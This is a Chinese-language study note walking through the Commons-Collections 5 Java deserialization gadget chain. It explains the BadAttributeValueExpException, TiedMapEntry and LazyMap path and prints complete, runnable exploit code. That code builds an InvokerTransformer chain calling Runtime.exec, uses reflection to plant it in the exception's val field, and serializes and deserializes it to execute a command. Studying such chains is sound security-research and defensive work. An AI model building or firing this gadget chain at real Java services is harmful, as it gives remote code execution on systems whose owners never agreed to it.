Java_Commons-Collections 5 学习过程

环境配置

同CC1

链子分析

借图

在CC6的时候中有个调试问题中就看到那个TiedMapEntry的toString()方法会调用getValue()，而CC5就是通过这个TiedMapEntry#toString()来走的LazyMap

那么按照惯例就要去找谁触发的这个toString()

yso 的官方链子，入口类是 BadAttributeValueExpException 的 readObject() 方法

可以看到构造函数在构造时会直接调用 toString()

因此我们可以先传入一个值，然后通过反射修改 val属性为，这样的话，就会在反序列化时才会调用TiedMapEntry，序列化的时候不会调用链子

先写后边

package CC5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC5Exp {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
        tiedMapEntry.toString();
    }
}

再写前边

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("nbc");
        Class c = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = c.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

最终Exp

package CC5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
//        tiedMapEntry.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("nbc");
        Class c = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = c.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

参考文章

drun1baby

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